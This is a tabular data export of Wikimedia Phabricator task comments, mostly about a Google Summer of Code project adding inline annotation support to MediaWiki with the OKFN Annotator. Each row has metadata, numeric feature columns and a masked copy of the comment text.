212189,Create a VisualEditor plugin to integrate with ProofreadPage,"How would we go with looking to put the user into the API?  That information would be useful to present through the 'page information' so it is presentable via 'action=info'.  At the moment one has to pull the page data to get the user info, while the proofread status is already captured. Well that is my limited understanding of the data.",,,1364377774,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-v7kj4prknc3sujshfgg3,task_subcomment,,True,c1,1,False,,,-14,,0.0,0.0,0.0,1.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,3.0,1.0,4.0,15.0,0.0,5.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,3.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,7.0,3.0,0.0,14.0,0.0,0.0,0.0,0.0,8.0,1.0,0.0,0.0,5.0,15.0,1.0,1.0,5.0,0.0,5.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,3.7837837837837838,0.6756756756756757,"How would we go with looking to put the user into the API?  That information would be useful to present through the 'page information' so it is presentable via 'action=info'.  At the moment one has to pull the page data to get the user info, while the proofread status is already captured. Well that is my limited understanding of the data."
48440,Implement inline comment support using OKFN annotator,"Inline comments would be powerful addition to AFT.  It would be something like
https://en.wikipedia.org/wiki/Stet_%28software%29 integrated into MediaWiki.

I think it would help people make useful comments that could more
quickly be acted on/resolved.

I realize this would be a large enhancement, but I think it's worth considering at some point in the future.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: http://annotator.wmflabs.org/
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=49603",Low,25.0,1363903320,1511275456.0,PHID-USER-dw53c5cb2qfhyemej57o,True,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-eyovzj2nicd45d4mqp3j,task_description,resolved,True,c1,1,True,False,False,-15,,1.0,0.5,0.0,0.5,0.0,4.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,1.0,2.0,4.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.0,0.0,3.0,4.0,2.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.5,0.0,9.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,1.5,2.0,11.5,0.0,1.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,1.0,0.0,0.0,0.0,4.0,0.0,0.5,0.5,0.0,1.0,0.5,0.0,0.0,3.666666666666667,0.6470588235294117,"Inline comments would be powerful addition to AFT.  It would be something like
URL integrated into MediaWiki.

I think it would help people make useful comments that could more
quickly be acted on/resolved.

I realize this would be a large enhancement, but I think it's worth considering at some point in the future.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**URL**: URL
**See Also**:
URL"
968318,Implement inline comment support using OKFN annotator,No reply. Hence closing.,,,1511275456,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,229,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,3.5,0.8333333333333334,No reply. Hence closing.
923234,Implement inline comment support using OKFN annotator,">>! In T48440#529613, @Parent5446 wrote:
> https://gerrit.wikimedia.org/r/79839
> https://gerrit.wikimedia.org/r/78251
> 
> Once they are merged, the extension has most of the features implemented. The only thing not implemented is threading, which would be too difficult because OKFN does not natively support it.

>>! In T48440#529622, @Mattflaschen-WMF wrote:
> Yeah, I consider this complete.

So should this task be closed as resolved? (The item is mentioned on https://www.mediawiki.org/wiki/Outreach_programs/Possible_mentors - that's how I got here)",,,1504334003,,PHID-USER-hgn5uw2jafgjgfvxibhh,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,217,,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,8.0,5.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,29.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,16.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.210526315789474,0.7105263157894737,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

QUOTE
QUOTE

So should this task be closed as resolved? (The item is mentioned on URL - that's how I got here)"
228360,Implement inline comment support using OKFN annotator,"If you have open tasks or bugs left, one possibility is to list them at https://www.mediawiki.org/wiki/Google_Code-In and volunteer yourself as mentor.

We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.

More information in the wiki page. If you have questions you can ask there or you can contact me directly.",,,1382470782,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,16,,1.0,0.0,0.0,0.0,0.0,7.5,2.5,0.0,0.0,1.5,4.0,0.0,0.0,0.0,0.0,1.5,1.0,2.0,10.5,0.0,2.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,1.5,4.0,0.5,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,2.5,0.0,1.0,0.0,0.0,0.0,12.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,4.5,2.5,7.5,2.0,3.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.5,0.0,6.0,10.5,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.5,2.0,3.5,1.0,0.0,0.0,4.196078431372549,0.8235294117647058,"If you have open tasks or bugs left, one possibility is to list them at URL and volunteer yourself as mentor.

We have heard from Google and free software projects participating in Code-in that students participating in this programs have done a great work finishing and polishing GSoC projects, many times mentores by the former GSoC student. The key is to be able to split the pending work in little tasks.

More information in the wiki page. If you have questions you can ask there or you can contact me directly."
228353,Implement inline comment support using OKFN annotator,"**tilgovi** wrote:

Nice to see this worked out well!

As for replies, I've got a threading plugin that handles most of this. I'm looking to upstream it for Annotator 2.0.

I'll also take the feedback about not showing annotations immediately into mind. Nothing stops the integrator from overriding the .annotator-hl styles, but something more direct and programmatic might make sense.

Once again, reach out any time in #annotator on freenode or the annotator-dev list and I'll keep watching this bug.",,,1379459763,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,1.0,1.0,0.0,0.0,0.5,3.0,0.0,0.0,0.0,0.0,1.5,2.5,0.0,0.0,0.0,2.5,1.0,5.5,8.5,2.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,0.5,1.0,1.5,0.0,2.5,2.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.5,0.0,0.0,0.0,0.5,0.0,14.0,1.0,1.0,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,0.0,6.0,0.0,4.0,6.5,0.0,0.0,0.5,1.0,4.5,0.0,1.5,0.0,3.0,8.5,0.5,0.0,0.0,0.0,3.0,0.0,0.5,0.5,0.0,3.0,1.0,0.5,0.0,3.9942348008385746,0.8226764500349406,"**tilgovi** wrote:

Nice to see this worked out well!

As for replies, I've got a threading plugin that handles most of this. I'm looking to upstream it for Annotator 2.0.

I'll also take the feedback about not showing annotations immediately into mind. Nothing stops the integrator from overriding the .annotator-hl styles, but something more direct and programmatic might make sense.

Once again, reach out any time in #annotator on freenode or the annotator-dev list and I'll keep watching this bug."
228346,Implement inline comment support using OKFN annotator,"The GSoC project has the ""Prototyping"" word very visible. Wikimedia requirements for deployment are out of scope. The fact that they are being discussed already now indicates that this prototyping phase seems to be a success. :)

Let's get through the GSoC evaluation and let's talk about further steps after that.",,,1379455722,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,2.0,3.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,7.0,12.0,3.0,2.0,12.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,5.0,15.0,3.0,0.0,3.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.416666666666667,0.8166666666666667,"The GSoC project has the ""Prototyping"" word very visible. Wikimedia requirements for deployment are out of scope. The fact that they are being discussed already now indicates that this prototyping phase seems to be a success. :)

Let's get through the GSoC evaluation and let's talk about further steps after that."
228340,Implement inline comment support using OKFN annotator,"Bug 52156 (history) is also a blocker (to be clear, this is an extra, not part of the required prototype deliverables) to WMF (and probably most third parties) deployment.  It's not strictly UI, but it's definitely user-visible (to experienced users who understand history).",,,1379454874,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,11,,0.0,0.0,0.0,0.0,3.0,7.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,7.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,3.80327868852459,0.7540983606557377,"Bug 52156 (history) is also a blocker (to be clear, this is an extra, not part of the required prototype deliverables) to WMF (and probably most third parties) deployment.  It's not strictly UI, but it's definitely user-visible (to experienced users who understand history)."
228335,Implement inline comment support using OKFN annotator,"**swalling** wrote:

(In reply to comment #54)
> Yeah, I consider this complete.  I think we will be able to get those two
> merged, but I don't think either are hard requirements (though the annotation
> tab is pretty useful, because otherwise you get annotations everywhere all
> the
> time).

I think bug 52064 is the only big UI/UX blocker for actually deploying this to a Wikimedia wiki. Showing annotations by default on every view is likely to annoy folks. 

Otherwise, I think even things like bonafide threading support can be put on hold for later release. Overall, agreed with Matt that this product is nearly done. Very good work for a GSoC project. :)",,,1379450646,,PHID-USER-ynivjflmc2dcl6w5ut5v,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,1.0,0.0,1.0,2.0,0.0,4.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.5,0.0,5.5,10.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,3.0,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,0.0,1.0,0.0,0.0,0.0,15.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,3.5,11.5,1.0,0.0,4.5,0.0,1.0,0.0,0.5,2.5,0.0,1.0,0.0,1.5,10.5,5.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,0.0,3.696078431372549,0.803921568627451,"**swalling** wrote:

(In reply to comment #54)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I think bug 52064 is the only big UI/UX blocker for actually deploying this to a Wikimedia wiki. Showing annotations by default on every view is likely to annoy folks. 

Otherwise, I think even things like bonafide threading support can be put on hold for later release. Overall, agreed with Matt that this product is nearly done. Very good work for a GSoC project. :)"
228330,Implement inline comment support using OKFN annotator,"Yeah, I consider this complete.  I think we will be able to get those two merged, but I don't think either are hard requirements (though the annotation tab is pretty useful, because otherwise you get annotations everywhere all the time).

As Tyler noted, there's not really reply support.  However, if you comment on the same text, it puts the annotation underneath.

The other item that is not implemented (mainly since we did not prioritize it) is including the date.

However, there have been other items implemented that were not listed under Required Deliverables, so I think it balances out.  E.g.

* Update and delete
* Proper DB setup (including AnnotationRepository for testability), including SQLite support and updates.
* Logged out user support (under review; Required Deliverables mentions usernames, but not IPs)
* PHP unit tests (this is the third change under review, which I would like to get merged).",,,1379449034,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,11,,0.5,0.0,0.0,1.0,3.0,5.0,2.5,0.5,0.5,0.5,2.5,0.5,0.0,0.0,1.0,3.5,0.0,7.0,7.5,0.0,1.0,0.0,0.5,0.5,1.5,0.5,0.0,0.5,0.0,1.0,0.0,8.0,2.5,1.5,1.5,1.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.5,0.0,9.0,1.0,1.0,0.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,2.5,0.0,1.0,0.0,0.5,0.0,3.5,4.0,12.5,2.0,2.5,6.0,0.0,0.0,0.0,0.0,4.0,0.5,0.5,0.0,6.0,7.5,6.0,0.0,0.0,0.0,6.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,4.068859649122807,0.7014802631578947,"Yeah, I consider this complete.  I think we will be able to get those two merged, but I don't think either are hard requirements (though the annotation tab is pretty useful, because otherwise you get annotations everywhere all the time).

As Tyler noted, there's not really reply support.  However, if you comment on the same text, it puts the annotation underneath.

The other item that is not implemented (mainly since we did not prioritize it) is including the date.

However, there have been other items implemented that were not listed under Required Deliverables, so I think it balances out.  E.g.

* Update and delete
* Proper DB setup (including AnnotationRepository for testability), including SQLite support and updates.
* Logged out user support (under review; Required Deliverables mentions usernames, but not IPs)
* PHP unit tests (this is the third change under review, which I would like to get merged)."
228327,Implement inline comment support using OKFN annotator,"There are two open patches right now:

https://gerrit.wikimedia.org/r/79839
https://gerrit.wikimedia.org/r/78251

Once they are merged, the extension has most of the features implemented. The only thing not implemented is threading, which would be too difficult because OKFN does not natively support it.",,,1379447594,,PHID-USER-ea6gwat27oulytc5tvsy,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,2.0,4.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,8.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,4.0,6.0,6.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,4.5,0.8333333333333334,"There are two open patches right now:

GERRIT_URL
GERRIT_URL

Once they are merged, the extension has most of the features implemented. The only thing not implemented is threading, which would be too difficult because OKFN does not natively support it."
228323,Implement inline comment support using OKFN annotator,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?",,,1379434950,,PHID-USER-lluzkul4z7us4sxkayss,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,11,,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.125,0.9583333333333334,"GSoC ""soft pencils down"" date was yesterday and all coding must stop on 23 September. Has this project been completed?"
228318,Implement inline comment support using OKFN annotator,"(In reply to comment #49)
> Just tried the demo and it works well. Great work Richa and mentors! Just a
> couple of comments:

Thanks. :)

> - When I edited the page all annotations were gone, I reverted to the
> previous edition but the annotations didn't reappear.

Yes, handling page changes is one of the trickier things that there may or may not be time for this summer.

However, we do want to fix the issue where the wrong annotations appear when you look at an old version of the page from the history (bug 51728).

> - I assume that these annotations will be displayed in the newly deployed
> Visual Editor. Would it be possible to update the text anchor as the text is
> being changed? Annotations in Google Docs have this behaviour, however I am
> not sure if it would be too complex to mimic that feature.

There is no VE support so far.

> - In the ""recent changes"" page I didn't see any notification of my actions, I
> understand that it could be meant this way?

We may have time to add logging, but you're right there is no history or logging yet.
 
> And I also loved that you can select several sections of text and create one
> annotation for all those sections. If the annotation link could be displayed
> (maybe with a 3rd icon, an anchor displaying the link), that would be a great
> addition for external websites linking to/highlighting particular fragments,
> or conversations in the talk page pointing to fragments.

That's a possibility at some point.",,,1374381107,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0.5,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,0.0,2.0,1.0,0.0,5.0,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,5.0,0.0,0.0,1.5,1.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.5,0.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,4.0,2.5,15.0,1.0,2.0,7.5,0.0,0.5,0.0,0.5,3.5,0.0,1.5,0.0,2.5,5.5,6.0,0.0,0.0,0.0,2.5,0.0,1.5,1.0,0.0,1.0,0.5,0.0,0.0,3.3695652173913047,0.6739130434782609,"(In reply to comment #49)
QUOTE
QUOTE

Thanks. :)

QUOTE
QUOTE

Yes, handling page changes is one of the trickier things that there may or may not be time for this summer.

However, we do want to fix the issue where the wrong annotations appear when you look at an old version of the page from the history (bug 51728).

QUOTE
QUOTE
QUOTE
QUOTE

There is no VE support so far.

QUOTE
QUOTE

We may have time to add logging, but you're right there is no history or logging yet.
 
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

That's a possibility at some point."
228310,Implement inline comment support using OKFN annotator,"(In reply to comment #49)
> Just tried the demo and it works well. Great work Richa and mentors! Just a
> couple of comments:
> - When I edited the page all annotations were gone, I reverted to the
> previous
> edition but the annotations didn't reappear.
It looks for annotations for the latest revision since i am using the latest revision id. There is already a bug filed for this https://bugzilla.wikimedia.org/show_bug.cgi?id=51728 .
> - I assume that these annotations will be displayed in the newly deployed
> Visual Editor. Would it be possible to update the text anchor as the text is
> being changed? Annotations in Google Docs have this behaviour, however I am
> not
> sure if it would be too complex to mimic that feature.
> - A minor glitch: when I delete an annotation I get the message ""sorry we
> could
> not destroy this annotation"", however the annotation is indeed deleted.

The destroying of annotations is still under review. https://gerrit.wikimedia.org/r/74150 so the annotations are not actually deleted currently.
> - In the ""recent changes"" page I didn't see any notification of my actions, I
> understand that it could be meant this way?
> 
> And I also loved that you can select several sections of text and create one
> annotation for all those sections. If the annotation link could be displayed
> (maybe with a 3rd icon, an anchor displaying the link), that would be a great
> addition for external websites linking to/highlighting particular fragments,
> or
> conversations in the talk page pointing to fragments.
> 
> Micru",,,1374337939,,PHID-USER-y3lag4tcfivaet2fsuln,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,1.0,1.0,5.5,5.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.5,3.0,23.5,0.5,0.0,4.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,1.5,5.0,16.5,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.5,0.0,1.0,0.0,3.6346153846153846,0.4903846153846154,"(In reply to comment #49)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
It looks for annotations for the latest revision since i am using the latest revision id. There is already a bug filed for this URL .
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The destroying of annotations is still under review. GERRIT_URL so the annotations are not actually deleted currently.
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
228302,Implement inline comment support using OKFN annotator,"Just tried the demo and it works well. Great work Richa and mentors! Just a couple of comments:
- When I edited the page all annotations were gone, I reverted to the previous edition but the annotations didn't reappear.
- I assume that these annotations will be displayed in the newly deployed Visual Editor. Would it be possible to update the text anchor as the text is being changed? Annotations in Google Docs have this behaviour, however I am not sure if it would be too complex to mimic that feature.
- A minor glitch: when I delete an annotation I get the message ""sorry we could not destroy this annotation"", however the annotation is indeed deleted.
- In the ""recent changes"" page I didn't see any notification of my actions, I understand that it could be meant this way?

And I also loved that you can select several sections of text and create one annotation for all those sections. If the annotation link could be displayed (maybe with a 3rd icon, an anchor displaying the link), that would be a great addition for external websites linking to/highlighting particular fragments, or conversations in the talk page pointing to fragments.

Micru",,,1374323153,,PHID-USER-my5s6nat437le6q5fq7d,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,False,,,2,,1.6666666666666667,0.0,0.0,2.6666666666666665,1.3333333333333333,4.333333333333333,1.3333333333333333,0.0,0.0,0.6666666666666666,3.0,0.6666666666666666,0.0,0.0,0.0,3.6666666666666665,1.0,5.666666666666667,8.0,0.0,0.6666666666666666,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,1.6666666666666667,1.3333333333333333,1.3333333333333333,3.0,1.3333333333333333,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,8.666666666666666,0.3333333333333333,2.6666666666666665,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,1.3333333333333333,0.0,0.0,0.0,0.0,0.0,7.0,4.0,8.666666666666666,2.6666666666666665,2.3333333333333335,10.333333333333334,0.0,0.0,0.3333333333333333,0.0,4.666666666666667,0.3333333333333333,0.3333333333333333,0.0,5.666666666666667,8.0,2.0,0.6666666666666666,1.3333333333333333,0.0,5.666666666666667,0.0,1.0,2.3333333333333335,0.0,1.6666666666666667,0.0,0.0,0.0,4.085307800497674,0.7574921562263334,"Just tried the demo and it works well. Great work Richa and mentors! Just a couple of comments:
- When I edited the page all annotations were gone, I reverted to the previous edition but the annotations didn't reappear.
- I assume that these annotations will be displayed in the newly deployed Visual Editor. Would it be possible to update the text anchor as the text is being changed? Annotations in Google Docs have this behaviour, however I am not sure if it would be too complex to mimic that feature.
- A minor glitch: when I delete an annotation I get the message ""sorry we could not destroy this annotation"", however the annotation is indeed deleted.
- In the ""recent changes"" page I didn't see any notification of my actions, I understand that it could be meant this way?

And I also loved that you can select several sections of text and create one annotation for all those sections. If the annotation link could be displayed (maybe with a 3rd icon, an anchor displaying the link), that would be a great addition for external websites linking to/highlighting particular fragments, or conversations in the talk page pointing to fragments.

Micru"
228292,Implement inline comment support using OKFN annotator,"You can now also use the simpler URL, http://annotator.wmflabs.org",,,1374301337,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,30.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.3,0.9,"You can now also use the simpler URL, URL"
228283,Implement inline comment support using OKFN annotator,"There is now a test wiki for this, http://annotator.instance-proxy.wmflabs.org/ .  If you're interested in testing it, create an account, then try annotating http://annotator.instance-proxy.wmflabs.org/wiki/Lorem_ipsum .

Currently, you must be logged in, both to see annotations and to make them (bug 51722).",,,1374299983,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,6.0,12.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,10.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,8.0,12.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,2.0,4.0,0.0,0.0,0.0,3.392156862745098,0.803921568627451,"There is now a test wiki for this, URL .  If you're interested in testing it, create an account, then try annotating URL .

Currently, you must be logged in, both to see annotations and to make them (bug 51722)."
228274,Implement inline comment support using OKFN annotator,"We've made a Bugzilla component.  This will still be the main bug, tracking the initial key functionality.",,,1374286335,,PHID-USER-dw53c5cb2qfhyemej57o,True,,,PHID-TASK-eyovzj2nicd45d4mqp3j,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,14.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,4.090909090909091,0.9090909090909091,"We've made a Bugzilla component.  This will still be the main bug, tracking the initial key functionality."
228266,Implement inline comment support using OKFN annotator,"**nick** wrote:

